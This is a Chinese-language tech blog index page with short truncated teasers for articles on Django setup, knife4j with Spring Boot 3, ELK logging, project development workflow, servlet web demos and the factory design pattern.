假设读者安装好Django开发环境后&#xff08;这个环境搭建很容易&#xff0c;大家可以参看随意一个网文&#xff09;&#xff0c;就可以通过命令行构建Django应用程序了。通过命令行构建Django应用程序的关键&#xff0c;是使用一个Django框架自带的管理工具——django-admin.p…
阅读更多...
springboot3 集成knife4j

springboot3 集成knife4j

knife4j介绍 Knife4j是一个集Swagger2 和 OpenAPI3为一体的增强解决方案。 springdoc地址&#xff1a;OpenAPI 3 Library for spring-boot Knife4j官网地址&#xff1a;Knife4j 集Swagger2及OpenAPI3为一体的增强解决方案. | Knife4j 环境介绍 java&#xff1a;17 Spring…
阅读更多...
你们项目日志是如何处理的？？？

你们项目日志是如何处理的？？？

ELK日志采集系统 1.什么是ELK ELK 是一套流行的数据搜索、分析和可视化解决方案&#xff0c;由三个开源项目组成&#xff0c;每个项目的首字母合起来形成了“ELK”这一术语&#xff1a; Elasticsearch (ES): Elasticsearch 是一个基于 Apache Lucene 构建的分布式、实时搜索与…
阅读更多...
项目开发流程

项目开发流程

项目开发流程 &#x1f469;‍&#x1f9b3;项目立项 估计项目的花费&#xff0c;确定大致的所需开发人员数&#xff0c;确定项目是否可行&#xff1b; &#x1f469;‍&#x1f9b0;需求分析 整体过程&#xff1a; 项目背景和目标&#xff0c;即项目的目的是什么 用户需求&…
阅读更多...
动态Web项目讲解+Demo

动态Web项目讲解+Demo

web流程演示 请求路径 请求路径明确要请求的是哪个servlet 请求方式 servlet含有两种请求方式&#xff1a;doGet和doPost doGet&doPost 返回数据就是httpResponse&#xff0c;返回给success 参数 包含在request当中 成功 上述流程任何一步都没出问题&#xff0c;就会…
阅读更多...
设计模式之创建型模式---工厂模式

设计模式之创建型模式---工厂模式

文章目录 工厂模式概述简单工厂简单工厂的代码实现简单工厂的使用简单工厂应用场景 工厂方法工厂方法模式的代码实现工厂方法的使用工厂方法应用场景 抽象工厂抽象工厂模式代码实现抽象工厂的使用方法抽象工厂模式的应用场景 总结 工厂模式概述 工厂模式从名字就能看出&#x…
阅读更多...
最新文章

Copyright @ 2022~2023